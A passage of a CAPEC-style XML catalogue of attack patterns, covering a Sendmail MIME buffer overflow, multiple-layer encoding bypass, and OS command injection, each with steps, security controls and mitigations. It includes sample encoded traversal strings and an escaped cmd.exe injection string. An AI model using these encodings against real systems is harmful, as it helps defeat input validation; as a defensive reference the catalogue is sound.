			<Attack_Motivation-Consequence>Run Arbitrary Code</Attack_Motivation-Consequence>
			<Attack_Motivation-Consequence>Data Modification</Attack_Motivation-Consequence>
			<Attack_Motivation-Consequence>Denial of Service</Attack_Motivation-Consequence>
			<Attack_Motivation-Consequence>Privilege Escalation</Attack_Motivation-Consequence>
		</Attack_Motivation-Consequences>
		<Context_Description>Content-Based Buffer Overflow

		Data files are ubiquitous. They are used to store everything from documents to content media and critical computer settings. Every file has an inherent format that often encompasses special information such as file length, media type, and which fonts are boldface, all encoded directly in the data file. The attack vector against data files like these is simple: Mess up the data file and wait for some unsuspecting user to open it.
		
		Some kinds of files are strikingly simple and others have complex binary structures and numerical data embedded in them. Sometimes the simple act of opening a complex file in a hex editor and tweaking a few bytes is enough to cause the (unsuspecting) program that consumes the file to crash and burn.</Context_Description>
		<Injection_Vector>The especially formated e-mail message whose body is put together in a way as to trigger the MIME conversion buffer overflow in the 7 to 8 bit MIME conversion function.</Injection_Vector>
		<Payload>The shellcode included as part of the e-mail message body that is executed on the target system with root privileges after the stack based buffer overflow in the 7 to 8 bit MIME conversion function is leveraged.</Payload>
		<Activation_Zone>The function performing 7 to 8 bit MIME conversion.</Activation_Zone>
		<Related_Weaknesses>
			<Related_Weakness>
				<CWE_ID>120</CWE_ID>
				<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
			</Related_Weakness>
			<Related_Weakness>
				<CWE_ID>119</CWE_ID>
				<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
			</Related_Weakness>
			<Related_Weakness>
				<CWE_ID>74</CWE_ID>
				<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
			</Related_Weakness>
			<Related_Weakness>
				<CWE_ID>20</CWE_ID>
				<Weakness_Relationship_Type>Secondary</Weakness_Relationship_Type>
			</Related_Weakness>
		</Related_Weaknesses>
		<Related_Vulnerabilities>
			<Related_Vulnerability>
				<Vulnerability_ID>CVE-1999-0047</Vulnerability_ID>
				<Vulnerability_Description>A MIME conversion buffer overflow exists in Sendmail versions 8.8.3 and 8.8.4.  Sendmail versions 8.8.3 and 8.8.4 are vulnerable to a buffer overflow in the MIME handling code. By sending a message with specially-crafted headers to the server, a remote attacker can overflow a buffer and execute arbitrary commands on the system with root privileges.

				Sendmail performs a 7 bit to 8 bit conversion on email messages.  This vulnerability is due to the fact that insufficient bounds checking was performed while performing these conversions.  This gave attacker an opportunity to overwrite the internal stack of sendmail while it is executing with root privileges.  An attacker first probes the target system to figure out what mail server is used on the system and what version.  An attacker could then test out the exploit at their leisure on their own machine running the same version of the mail server before using it in the wild.</Vulnerability_Description>
			</Related_Vulnerability>
		</Related_Vulnerabilities>
		<Related_Security_Principles>
			<Related_Security_Principle>Failing Securely</Related_Security_Principle>
		</Related_Security_Principles>
		<Purpose>Penetration</Purpose>
		<Purpose>Exploitation</Purpose>
		<CIA_Impact>
			<Confidentiality_Impact>High</Confidentiality_Impact>
			<Integrity_Impact>High</Integrity_Impact>
			<Availability_Impact>High</Availability_Impact>
		</CIA_Impact>
		<Technical_Context>
			<Architectural_Paradigm>All</Architectural_Paradigm>
			<Framework>All</Framework>
			<Platform>All</Platform>
			<Language>All</Language>
		</Technical_Context>
		<References>
			<Reference>G. Hoglund and G. McGraw. Exploiting Software: How to Break Code. Addison-Wesley, February 2004.</Reference>
			<Reference>CERT Advisory CA-1997-05, "MIME Conversion Buffer Overflow in Sendmail Versions 8.8.3 and 8.8.4".  Available at:  http://www.cert.org/advisories/CA-1997-05.html</Reference>
		</References>
		<Source>
			<Submission>
				<Submitter>G. Hoglund and G. McGraw. Exploiting Software: How to Break Code. Addison-Wesley, February 2004.</Submitter>
				<Submitter_Organization>Cigital, Inc</Submitter_Organization>
				<Submission_Date>2007-03-01</Submission_Date>
			</Submission>
			<Modification>
				<Modifier>Eugene Lebanidze</Modifier>
				<Modifier_Organization>Cigital, Inc</Modifier_Organization>
				<Modification_Date>2007-02-26</Modification_Date>
				<Modification_Comment>Fleshed out content to CAPEC schema from the original descriptions in "Exploiting Software"</Modification_Comment>
			</Modification>
			<Modification>
				<Modifier>Sean Barnum</Modifier>
				<Modifier_Organization>Cigital, Inc</Modifier_Organization>
				<Modification_Date>2007-03-05</Modification_Date>
				<Modification_Comment>Review and revise</Modification_Comment>
			</Modification>
		</Source>
	</Attack_Pattern>
	<Attack_Pattern CAPEC_ID="43" Name="Exploiting Multiple Input Interpretation Layers" Pattern_Abstraction="Standard">
		<Description>
			<Summary>An attacker supplies the target software with input data that contains sequences of special characters designed to bypass input validation logic.  This exploit relies on the target making multiples passes over the input data and processing a "layer" of special characters with each pass.  In this manner, the attacker can disguise input that would otherwise be rejected as invalid by concealing it with layers of special/escape characters that are stripped off by subsequent processing steps.
        
			The goal is to first discover cases where the input validation layer executes before one or more parsing layers. That is, user input may go through the following logic in an application: &lt;parser1&gt; --&gt; &lt;input validator&gt; --&gt; &lt;parser2&gt;. In such cases, the attacker will need to provide input that will pass through the input validator, but after passing through parser2, will be converted into something that the input validator was supposed to stop.</Summary>
			<Attack_Execution_Flow>
				<Attack_Phase Name="Explore">
					<Attack_Step>
						<Attack_Step_Title>Determine application/system inputs where bypassing input validation is desired</Attack_Step_Title>
						<Attack_Step_Description>The attacker first needs to determine all of the application's/system's inputs where input validation is being performed and where he/she wants to bypass it.</Attack_Step_Description>
						<Attack_Step_Technique>
							<Attack_Step_Technique_Description>While using an application/system, the attacker discovers an input where validation is stopping him/her from performing some malicious or unauthorized actions.</Attack_Step_Technique_Description>
							<Environments>env-All</Environments>
						</Attack_Step_Technique>
						<Indicator ID="c42s1i1" type="Positive">
							<Indicator_Description>When provided with unexpected input, application provides an error message stating that the input was invalid or that access was denied.</Indicator_Description>
							<Environments>env-All</Environments>
						</Indicator>
					</Attack_Step>
				</Attack_Phase>
				<Attack_Phase Name="Experiment">
					<Attack_Step>
						<Attack_Step_Title>Determine which character encodings are accepted by the application/system</Attack_Step_Title>
						<Attack_Step_Description>The attacker then needs to provide various character encodings to the application/system and determine which ones are accepted. The attacker will need to observe the application's/system's response to the encoded data to determine whether the data was interpreted properly.</Attack_Step_Description>
						<Attack_Step_Technique>
							<Attack_Step_Technique_Description>Determine which escape characters are accepted by the application/system. A common escape character is the backslash character, '\'</Attack_Step_Technique_Description>
							<Environments>env-All</Environments>
						</Attack_Step_Technique>
						<Attack_Step_Technique>
							<Attack_Step_Technique_Description>Determine whether URL encoding is accepted by the application/system.</Attack_Step_Technique_Description>
							<Environments>env-All</Environments>
						</Attack_Step_Technique>
						<Attack_Step_Technique>
							<Attack_Step_Technique_Description>Determine whether UTF-8 encoding is accepted by the application/system.</Attack_Step_Technique_Description>
							<Environments>env-All</Environments>
						</Attack_Step_Technique>
						<Attack_Step_Technique>
							<Attack_Step_Technique_Description>Determine whether UTF-16 encoding is accepted by the application/system.</Attack_Step_Technique_Description>
							<Environments>env-All</Environments>
						</Attack_Step_Technique>
						<Attack_Step_Technique>
							<Attack_Step_Technique_Description>Determine if any other encodings are accepted by the application/system.</Attack_Step_Technique_Description>
							<Environments>env-All</Environments>
						</Attack_Step_Technique>
						<Indicator ID="c42s2i1" type="Positive">
							<Indicator_Description>System provides error message similar to the one it provided when a positivie indicator was received for the first step.</Indicator_Description>
							<Environments>env-All</Environments>
						</Indicator>
						<Outcome ID="c42s2o1" type="Success">Application/system accepts at least one high level character encoding where characters can be represented with multiple ASCII characters.</Outcome>
						<Outcome ID="c42s2o2" type="Failure">Application/system interprets each character separately.</Outcome>
						<Security_Control ID="c42s2sc1" type="Detective">Detect and alert on appearance of encodings in log messages (e.g. "Unsuccessful login by &amp;lt;joe")</Security_Control>
					</Attack_Step>
					<Attack_Step>
						<Attack_Step_Title>Combine multiple encodings accepted by the application.</Attack_Step_Title>
						<Attack_Step_Description>The attacker now combines encodings accepted by the application. The attacker may combine different encodings or apply the same encoding multiple times.</Attack_Step_Description>
						<Attack_Step_Technique>
							<Attack_Step_Technique_Description>Combine same encoding multiple times and observe its effects. For example, if special characters are encoded with a leading backslash, then the following encoding may be accepted by the application/system: "\\\.". With two parsing layers, this may get converted to "\." after the first parsing layer, and then, to "." after the second. If the input validation layer is between the two parsing layers, then "\\\.\\\." might pass a test for ".." but still get converted to ".." afterwards. This may enable directory traversal attacks.</Attack_Step_Technique_Description>
							<Environments>env-All</Environments>
						</Attack_Step_Technique>
						<Attack_Step_Technique>
							<Attack_Step_Technique_Description>Combine multiple encodings and observe the effects. For example, the attacker might encode "." as "\.", and then, encode "\." as "&amp;#92;&amp;#46;", and then, encode that using URL encoding to "%26%2392%3B%26%2346%3B"</Attack_Step_Technique_Description>
							<Environments>env-All</Environments>
						</Attack_Step_Technique>
						<Indicator ID="c42s3i1" type="Positive">
							<Indicator_Description>Application/System interprets the multiple encodings properly.</Indicator_Description>
							<Environments>env-All</Environments>
						</Indicator>
						<Outcome ID="c42s3o1" type="Success">Attacker bypasses input validation layer(s) and passes data to application that it does not expect.</Outcome>
						<Security_Control ID="c42s3sc1" type="Preventative">Ensure that the input validation layer is executed after as many parsing layers as possible.</Security_Control>
						<Security_Control ID="c42s3sc2" type="Preventative">Determine the details of any parsing layers that get executed after the input validation layer (this may be necessary in the case of filesystem access, for example, where the operating system also includes a parsing layer), and ensure that the input validator accounts for the various encodings of illegal characters and character sequences in those layers.</Security_Control>
					</Attack_Step>
				</Attack_Phase>
				<Attack_Phase Name="Exploit">
					<Attack_Step>
						<Attack_Step_Title>Leverage ability to bypass input validation</Attack_Step_Title>
						<Attack_Step_Description>Attacker leverages his ability to bypass input validation to gain unauthorized access to system. There are many attacks possible, and a few examples are mentioned here.</Attack_Step_Description>
						<Attack_Step_Technique>
							<Attack_Step_Technique_Description>Gain access to sensitive files.</Attack_Step_Technique_Description>
							<Environments>env-All</Environments>
						</Attack_Step_Technique>
						<Attack_Step_Technique>
							<Attack_Step_Technique_Description>Perform command injection.</Attack_Step_Technique_Description>
							<Environments>env-All</Environments>
						</Attack_Step_Technique>
						<Attack_Step_Technique>
							<Attack_Step_Technique_Description>Perform SQL injection.</Attack_Step_Technique_Description>
							<Environments>env-All</Environments>
						</Attack_Step_Technique>
						<Attack_Step_Technique>
							<Attack_Step_Technique_Description>Perform XSS attacks.</Attack_Step_Technique_Description>
							<Environments>env-All</Environments>
						</Attack_Step_Technique>
						<Indicator ID="c42s4i1" type="Positive">
							<Indicator_Description>Success outcome in previous step</Indicator_Description>
							<Environments>env-All</Environments>
						</Indicator>
						<Indicator ID="c42s4i2" type="Negative">
							<Indicator_Description>Failure outcome in previous step</Indicator_Description>
							<Environments>env-All</Environments>
						</Indicator>
						<Outcome ID="c42s4o1" type="Success">Gaining unauthorized access to system functionality.</Outcome>
					</Attack_Step>
				</Attack_Phase>
			</Attack_Execution_Flow>
		</Description>
		<Attack_Prerequisites>
			<Attack_Prerequisite>        User input is used to construct a command to be executed on the target system or as part of the file name.</Attack_Prerequisite>
			<Attack_Prerequisite>        Multiple parser passes are performed on the data supplied by the user.</Attack_Prerequisite>
		</Attack_Prerequisites>
		<Typical_Severity>High</Typical_Severity>
		<Typical_Likelihood_of_Exploit>
			<Likelihood>Medium</Likelihood>
		</Typical_Likelihood_of_Exploit>
		<Methods_of_Attack>
			<Method_of_Attack>Injection</Method_of_Attack>
			<Method_of_Attack>Modification of Resources</Method_of_Attack>
		</Methods_of_Attack>
		<Examples-Instances>
			<Example-Instance>
				<Example-Instance_Description>Using Escapes

				The backslash character provides a good example of the multiple-parser issue. A backslash is used to escape characters in strings, but is also used to delimit directories on the NT file system. When performing a command injection that includes NT paths, there is usually a need to "double escape" the backslash. In some cases, a quadruple escape is necessary.
				
				Original String: C:\\\\winnt\\\\system32\\\\cmd.exe /c
				
				&lt;parsing layer&gt;
				
				Interim String: C:\\winnt\\system32\\cmd.exe /c
				
				&lt;parsing layer&gt;
				          
				Final String: C:\winnt\system32\cmd.exe /c
				
				This diagram shows each successive layer of parsing translating the backslash character. A double backslash becomes a single as it is parsed. By using quadruple backslashes, the attacker is able to control the result in the final string.
				
				From G. Hoglund and G. McGraw. Exploiting Software: How to Break Code. Addison-Wesley, February 2004.</Example-Instance_Description>
			</Example-Instance>
		</Examples-Instances>
		<Attacker_Skill_or_Knowledge_Required>Medium</Attacker_Skill_or_Knowledge_Required>
		<Probing_Techniques>
			<Probing_Technique>Initially a fuzzer can be used to see what the application is successfully and escaping and what causes problems.  This may be a good starting point.</Probing_Technique>
			<Probing_Technique>Manually try to introduce multiple layers of control characters and see how many layers the application can escape.</Probing_Technique>
		</Probing_Techniques>
		<Indicators-Warnings_of_Attack>
			<Indicator-Warning_of_Attack>Control characters are being detected by the filters repeatedly.</Indicator-Warning_of_Attack>
		</Indicators-Warnings_of_Attack>
		<Solutions_and_Mitigations>
			<Solution_or_Mitigation>An iterative approach to input validation may be required to ensure that no dangerous characters are present.  It may be necessary to implement redundant checking across different input validation layers.  Ensure that invalid data is rejected as soon as possible and do not continue to work with it.</Solution_or_Mitigation>
			<Solution_or_Mitigation>Make sure to perform input validation on canonicalized data (i.e. data that is data in its most standard form).  This will help avoid tricky encodings getting past the filters.</Solution_or_Mitigation>
			<Solution_or_Mitigation>Assume all input is malicious.  Create a white list that defines all valid input to the software system based on the requirements specifications.  Input that does not match against the white list should not be permitted to enter into the system.</Solution_or_Mitigation>
		</Solutions_and_Mitigations>
		<Attack_Motivation-Consequences>
			<Attack_Motivation-Consequence>Data Modification</Attack_Motivation-Consequence>
			<Attack_Motivation-Consequence>Privilege Escalation</Attack_Motivation-Consequence>
			<Attack_Motivation-Consequence>Information Leakage</Attack_Motivation-Consequence>
		</Attack_Motivation-Consequences>
		<Related_Weaknesses>
			<Related_Weakness>
				<CWE_ID>171</CWE_ID>
				<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
			</Related_Weakness>
			<Related_Weakness>
				<CWE_ID>179</CWE_ID>
				<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
			</Related_Weakness>
			<Related_Weakness>
				<CWE_ID>181</CWE_ID>
				<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
			</Related_Weakness>
			<Related_Weakness>
				<CWE_ID>184</CWE_ID>
				<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
			</Related_Weakness>
			<Related_Weakness>
				<CWE_ID>183</CWE_ID>
				<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
			</Related_Weakness>
			<Related_Weakness>
				<CWE_ID>77</CWE_ID>
				<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
			</Related_Weakness>
			<Related_Weakness>
				<CWE_ID>78</CWE_ID>
				<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
			</Related_Weakness>
			<Related_Weakness>
				<CWE_ID>74</CWE_ID>
				<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
			</Related_Weakness>
			<Related_Weakness>
				<CWE_ID>20</CWE_ID>
				<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
			</Related_Weakness>
			<Related_Weakness>
				<CWE_ID>697</CWE_ID>
				<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
			</Related_Weakness>
			<Related_Weakness>
				<CWE_ID>707</CWE_ID>
				<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
			</Related_Weakness>
		</Related_Weaknesses>
		<Related_Security_Principles>
			<Related_Security_Principle>Defense in Depth</Related_Security_Principle>
		</Related_Security_Principles>
		<Purpose>Penetration</Purpose>
		<CIA_Impact>
			<Confidentiality_Impact>Medium</Confidentiality_Impact>
			<Integrity_Impact>High</Integrity_Impact>
			<Availability_Impact>High</Availability_Impact>
		</CIA_Impact>
		<Technical_Context>
			<Architectural_Paradigm>All</Architectural_Paradigm>
			<Framework>All</Framework>
			<Platform>All</Platform>
			<Language>All</Language>
		</Technical_Context>
		<References>
			<Reference>G. Hoglund and G. McGraw. Exploiting Software: How to Break Code. Addison-Wesley, February 2004.</Reference>
			<Reference>CWE - Input Validation</Reference>
		</References>
		<Source>
			<Submission>
				<Submitter>G. Hoglund and G. McGraw. Exploiting Software: How to Break Code. Addison-Wesley, February 2004.</Submitter>
				<Submitter_Organization>Cigital, Inc</Submitter_Organization>
				<Submission_Date>2007-03-01</Submission_Date>
			</Submission>
			<Modification>
				<Modifier>Eugene Lebanidze</Modifier>
				<Modifier_Organization>Cigital, Inc</Modifier_Organization>
				<Modification_Date>2007-02-26</Modification_Date>
				<Modification_Comment>Fleshed out content to CAPEC schema from the original descriptions in "Exploiting Software"</Modification_Comment>
			</Modification>
			<Modification>
				<Modifier>Sean Barnum</Modifier>
				<Modifier_Organization>Cigital, Inc</Modifier_Organization>
				<Modification_Date>2007-03-05</Modification_Date>
				<Modification_Comment>Review and revise</Modification_Comment>
			</Modification>
			<Modification>
				<Modifier>Richard Struse</Modifier>
				<Modifier_Organization>VOXEM, Inc</Modifier_Organization>
				<Modification_Date>2007-03-26</Modification_Date>
				<Modification_Comment>Review and feedback leading to changes in Name and Description</Modification_Comment>
			</Modification>
			<Modification>
				<Modifier>Sean Barnum</Modifier>
				<Modifier_Organization>Cigital, Inc</Modifier_Organization>
				<Modification_Date>2007-04-13</Modification_Date>
				<Modification_Comment>Modified pattern content according to review and feedback</Modification_Comment>
			</Modification>
			<Modification>
				<Modifier>Amit Sethi</Modifier>
				<Modifier_Organization>Cigital, Inc.</Modifier_Organization>
				<Modification_Date>2007-10-29</Modification_Date>
				<Modification_Comment>Added extended Attack Execution Flow</Modification_Comment>
			</Modification>
		</Source>
	</Attack_Pattern>
	<Attack_Pattern CAPEC_ID="88" Name="OS Command Injection" Pattern_Abstraction="Standard">
		<Description>
			<Summary>An attacker can leverage OS command injection in an application to elevate privileges, execute arbitrary commands and compromise the underlying operating system.</Summary>
			<Attack_Execution_Flow>
				<Attack_Phase Name="Explore">
					<Attack_Step>
						<Attack_Step_Title>Identify inputs for OS commands</Attack_Step_Title>
						<Attack_Step_Description>The attacker determines user controllable input that gets passed as part of a command to the underlying operating system.</Attack_Step_Description>
						<Attack_Step_Technique>
							<Attack_Step_Technique_Description>Port mapping. Identify ports that the system is listening on, and attempt to identify inputs and protocol types on those ports.</Attack_Step_Technique_Description>
							<Environments>env-Local env-CommProtocol env-Peer2Peer env-ClientServer</Environments>
						</Attack_Step_Technique>
						<Attack_Step_Technique>
							<Attack_Step_Technique_Description>TCP/IP Fingerprinting. The attacker uses various software to make connections or partial connections and observe idiosyncratic responses from the operating system. Using those responses, he attempts to guess the actual operating system.</Attack_Step_Technique_Description>
							<Environments>env-Embedded env-ClientServer env-Peer2Peer env-CommProtocol env-Web</Environments>
						</Attack_Step_Technique>
						<Attack_Step_Technique>
							<Attack_Step_Technique_Description>Induce errors to find informative error messages</Attack_Step_Technique_Description>
							<Environments>env-All</Environments>
						</Attack_Step_Technique>
						<Indicator ID="c88s1i1" type="Positive">
							<Indicator_Description>The target software accepts connections via the network.</Indicator_Description>
							<Environments>env-Web env-CommProtocol env-Peer2Peer env-Embedded env-ClientServer</Environments>
						</Indicator>
						<Outcome ID="c88s1o1" type="Success">Operating environment (operating system, language, and/or middleware) is correctly identified.</Outcome>
						<Outcome ID="c88s1o2" type="Inconclusive">Multiple candidate operating environments are suggested.</Outcome>
						<Security_Control ID="c88s1s1" type="Preventative">Provide misleading information on TCIP/IP fingerprints (some operating systems can be configured to send signatures that match other operating systems).</Security_Control>
						<Security_Control ID="c88s1s2" type="Preventative">Provide misleading information at the server level (e.g., Apache, IIS, WebLogic, etc.) to announce a different server software.</Security_Control>
						<Security_Control ID="c88s1s3" type="Detective">Some fingerprinting techniques can be detected by operating systems or by network IDS systems because they leave the network connection half-open, or they do not belong to a valid, open connection.</Security_Control>
					</Attack_Step>
					<Attack_Step>
						<Attack_Step_Title>Survey the Application</Attack_Step_Title>
						<Attack_Step_Description>The attacker surveys the target application, possibly as a valid and authenticated user</Attack_Step_Description>
						<Attack_Step_Technique>
							<Attack_Step_Technique_Description>Spidering web sites for all available links</Attack_Step_Technique_Description>
							<Environments>env-Web</Environments>
						</Attack_Step_Technique>
						<Attack_Step_Technique>
							<Attack_Step_Technique_Description>Inventory all application inputs</Attack_Step_Technique_Description>
							<Environments>env-All</Environments>
						</Attack_Step_Technique>
						<Indicator ID="c88s2i1" type="Positive">
							<Indicator_Description>Attacker develops a list of valid inputs</Indicator_Description>
							<Environments>env-All</Environments>
						</Indicator>
						<Outcome ID="c88s2o1" type="Success">The attacker develops a list of likely command delimiters.</Outcome>
						<Security_Control ID="c88s2s1" type="Detective">Monitor velocity of page fetching in web logs. Humans who view a page and select a link from it will click far slower and far less regularly than tools. Tools make requests very quickly and the requests are typically spaced apart regularly (e.g. 0.8 seconds between them).</Security_Control>
						<Security_Control ID="c88s2s2" type="Detective">Create links on some pages that are visually hidden from web browsers. Using IFRAMES, images, or other HTML techniques, the links can be hidden from web browsing humans, but visible to spiders and programs. A request for the page, then, becomes a good predictor of an automated tool probing the application.</Security_Control>
						<Security_Control ID="c88s2s3" type="Preventative">Actively monitor the application and either deny or redirect requests from origins that appear to be automated.</Security_Control>
						<Security_Control ID="c88s2s4" type="Detective">Monitor velocity of feature activations (non-web software). Humans who activate features (click buttons, request actions, invoke APIs, etc.) will do so far slower and far less regularly than tools. Tools make requests very quickly and the requests are typically spaced apart regularly (e.g. 0.8 seconds between them).</Security_Control>
					</Attack_Step>
				</Attack_Phase>
				<Attack_Phase Name="Experiment">
					<Attack_Step>
						<Attack_Step_Title>Vary inputs, looking for malicious results.</Attack_Step_Title>
						<Attack_Step_Description>Depending on whether the application being exploited is a remote or local one the attacker crafts the appropriate malicious input, containing OS commands, to be passed to the application</Attack_Step_Description>
						<Attack_Step_Technique>
							<Attack_Step_Technique_Description>Inject command delimiters using network packet injection tools (netcat, nemesis, etc.)</Attack_Step_Technique_Description>
							<Environments>env-CommProtocol env-Web env-Peer2Peer env-ClientServer</Environments>
						</Attack_Step_Technique>
						<Attack_Step_Technique>
							<Attack_Step_Technique_Description>Inject command delimiters using web test frameworks (proxies, TamperData, custom programs, etc.)</Attack_Step_Technique_Description>
							<Environments>env-Web</Environments>
						</Attack_Step_Technique>
						<Indicator ID="c88s3i1" type="Positive">
							<Indicator_Description>Inventorying in prior step is successful.</Indicator_Description>
							<Environments>env-All</Environments>
						</Indicator>
						<Outcome ID="c88s3o1" type="Success">One or more injections that are appropriate to the platform provokes an unexpected response from the software, which can be varied by the attacker based on the input.</Outcome>
					</Attack_Step>
				</Attack_Phase>
				<Attack_Phase Name="Exploit">
					<Attack_Step>
						<Attack_Step_Title>Execute malicious commands</Attack_Step_Title>
						<Attack_Step_Description>The attacker may steal information, install a back door access mechanism, elevate privileges or compromise the system in some other way.</Attack_Step_Description>
						<Attack_Step_Technique>
							<Attack_Step_Technique_Description>The attacker executes a command that stores sensitive information into a location where he can retrieve it later (perhaps using a different command injection).</Attack_Step_Technique_Description>
							<Environments>env-All</Environments>
						</Attack_Step_Technique>
						<Attack_Step_Technique>
							<Attack_Step_Technique_Description>The attacker executes a command that stores sensitive information into a location where he can retrieve it later (perhaps using a different command injection).</Attack_Step_Technique_Description>
							<Environments>env-All</Environments>
						</Attack_Step_Technique>
						<Attack_Step_Technique>
							<Attack_Step_Technique_Description>The attacker executes a command that stores sensitive information into a location where he can retrieve it later (perhaps using a different command injection).</Attack_Step_Technique_Description>
							<Environments>env-All</Environments>
						</Attack_Step_Technique>
						<Outcome ID="c88s4o1" type="Success">The software performs an action the attacker desires. This might be displaying information, storing a program, executing a command, or some other malicious activity.</Outcome>
						<Security_Control ID="c88s4s1" type="Preventative">Make commonly exploited administrative tools log their execution.</Security_Control>
						<Security_Control ID="c88s4s2" type="Preventative">Make commonly exploited administrative tools non-executable, except when the system is in specific maintenance periods. (i.e., require administrators to specifically enable certain administrative commands prior to performing system maintenance.)</Security_Control>
					</Attack_Step>
				</Attack_Phase>
			</Attack_Execution_Flow>
		</Description>
		<Attack_Prerequisites>
			<Attack_Prerequisite>User controllable input used as part of commands to the underlying operating system.</Attack_Prerequisite>
		</Attack_Prerequisites>
		<Typical_Severity>High</Typical_Severity>
		<Typical_Likelihood_of_Exploit>
			<Likelihood>High</Likelihood>
			<Explanation>There is high motivation for the attacker to seek out and discover opportunities for this attack due to the power it yields.</Explanation>
		</Typical_Likelihood_of_Exploit>
		<Methods_of_Attack>
			<Method_of_Attack>Injection</Method_of_Attack>
			<Method_of_Attack>API Abuse</Method_of_Attack>
		</Methods_of_Attack>
		<Examples-Instances>
			<Example-Instance>
				<Example-Instance_Description>A transaction processing system relies on code written in a number of languages. To access this functionality, the system passes transaction information on the system command line.

				An attacker can gain access to the system command line and execute malicious commands by injecting these commands in the transaction data. If successful, the attacker can steal information, install backdoors and perform other nefarious activities that can compromise the system and its data.</Example-Instance_Description>
				<Example-Instance_Related_Vulnerability>A vulnerability in Mozilla Firefox 1.x browser allows an attacker to execute arbitrary commands on the UNIX/Linux operating system.

				The vulnerability is caused due to the shell script used to launch Firefox parsing shell commands that are enclosed within backticks in the URL provided via the command line. 

				This can be exploited to execute arbitrary shell commands by tricking a user into following a malicious link in an external application which uses Firefox as the default browser (e.g. the mail client Evolution on Red Hat Enterprise Linux 4).
				</Example-Instance_Related_Vulnerability>
			</Example-Instance>
		</Examples-Instances>
		<Attacker_Skill_or_Knowledge_Required>High: The attacker needs to have knowledge of not only the application to exploit but also the exact nature of commands that pertain to the target operating system. This may involve, though not always, knowledge of specific assembly commands for the platform.</Attacker_Skill_or_Knowledge_Required>
		<Solutions_and_Mitigations>
			<Solution_or_Mitigation>Use language APIs rather than relying on passing data to the oeprating system shell or command line. Doing so ensures that the available protection mechanisms in the language are intact and applicable.</Solution_or_Mitigation>
			<Solution_or_Mitigation>Filter all incoming data to escape or remove characters or strings that can be potentially misinterpreted as operating system or shell commands</Solution_or_Mitigation>
			<Solution_or_Mitigation>All application processes should be run with the minimal privileges required. Also, processes must shed privileges as soon as they no longer require them.</Solution_or_Mitigation>
		</Solutions_and_Mitigations>
		<Attack_Motivation-Consequences>
			<Attack_Motivation-Consequence>Run Arbitrary Code</Attack_Motivation-Consequence>
			<Attack_Motivation-Consequence>Privilege Escalation</Attack_Motivation-Consequence>
			<Attack_Motivation-Consequence>Information Leakage</Attack_Motivation-Consequence>
		</Attack_Motivation-Consequences>
		<Context_Description>Most modern applications are written using the J2EE or .NET managed platforms. These platforms provide fairly robust mechanism to protect against code inadvertently accessing parts of the underlying system that it should not.

		However, two chief factors mitigate against the eradication of OS command injection. The first one relates to the use of native code and libraries. The only way for any managed platform to access this functionality is by calling into the underlying operating system.
		
		The second factor relates to the prevalence of unmanaged code, such as PERL code, used to create application. PERL, for example, is the language of choice when programming using CGI. PERL is unmanaged and allows easy mechanisms for the programmer to call the underlying operating system commands.
		
		This problem is exacerbated by the fact that such calls into the oeprating system are made with far higher privileges than required, thus leading to additional damage.
		
		Since input validation is an art not yet perfected, opportunities abound for attackers to abuse applications and execute commands on the underlying operating system.</Context_Description>
		<Injection_Vector>User-controllable input used as part of operating system commands</Injection_Vector>
		<Payload>Operating system commands injected by the attacker, intended to escalate privilege or divulge information</Payload>
		<Activation_Zone>Underlying operating system hosting the exploited application.</Activation_Zone>
		<Payload_Activation_Impact>The injected OS commands are interpreted by the shell, causing them to be executed under the privileges of the process running the exploited application.</Payload_Activation_Impact>
		<Related_Weaknesses>
			<Related_Weakness>
				<CWE_ID>78</CWE_ID>
				<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
			</Related_Weakness>
			<Related_Weakness>
				<CWE_ID>88</CWE_ID>
				<Weakness_Relationship_Type>Secondary</Weakness_Relationship_Type>
			</Related_Weakness>
			<Related_Weakness>
				<CWE_ID>20</CWE_ID>
				<Weakness_Relationship_Type>Secondary</Weakness_Relationship_Type>
			</Related_Weakness>
			<Related_Weakness>
				<CWE_ID>697</CWE_ID>
				<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
			</Related_Weakness>
			<Related_Weakness>
				<CWE_ID>713</CWE_ID>
				<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
			</Related_Weakness>
		</Related_Weaknesses>
		<Related_Security_Principles>
			<Related_Security_Principle>Least Privilege</Related_Security_Principle>
			<Related_Security_Principle>Reluctance To Trust</Related_Security_Principle>
		</Related_Security_Principles>
		<Related_Guidelines>
			<Related_Guideline>Never Use Unvalidated Input as Part of a Directive to any Internal Component</Related_Guideline>
		</Related_Guidelines>
		<Purpose>Penetration</Purpose>
		<Purpose>Exploitation</Purpose>
		<CIA_Impact>
			<Confidentiality_Impact>High</Confidentiality_Impact>
			<Integrity_Impact>High</Integrity_Impact>
			<Availability_Impact>High</Availability_Impact>
		</CIA_Impact>
		<Technical_Context>
			<Architectural_Paradigm>All</Architectural_Paradigm>
			<Framework>All</Framework>
			<Platform>All</Platform>
			<Language>All</Language>
		</Technical_Context>
		<References>
			<Reference>Secunia Advisory SA16869: Firefox Command Line URL Shell Command Injection</Reference>
		</References>
		<Source>
			<Submission>
				<Submitter>Chiradeep B. Chhaya</Submitter>
				<Submission_Date>2007-03-16</Submission_Date>
				<Submission_Comment>First Draft</Submission_Comment>
			</Submission>
			<Modification>
				<Modifier>Sean Barnum</Modifier>
				<Modifier_Organization>Cigital, Inc</Modifier_Organization>
				<Modification_Date>2007-04-16</Modification_Date>
				<Modification_Comment>Review and revise</Modification_Comment>
			</Modification>
		</Source>
	</Attack_Pattern>
	<Attack_Pattern CAPEC_ID="44" Name="Overflow Binary Resource File" Pattern_Abstraction="Detailed">
		<Description>
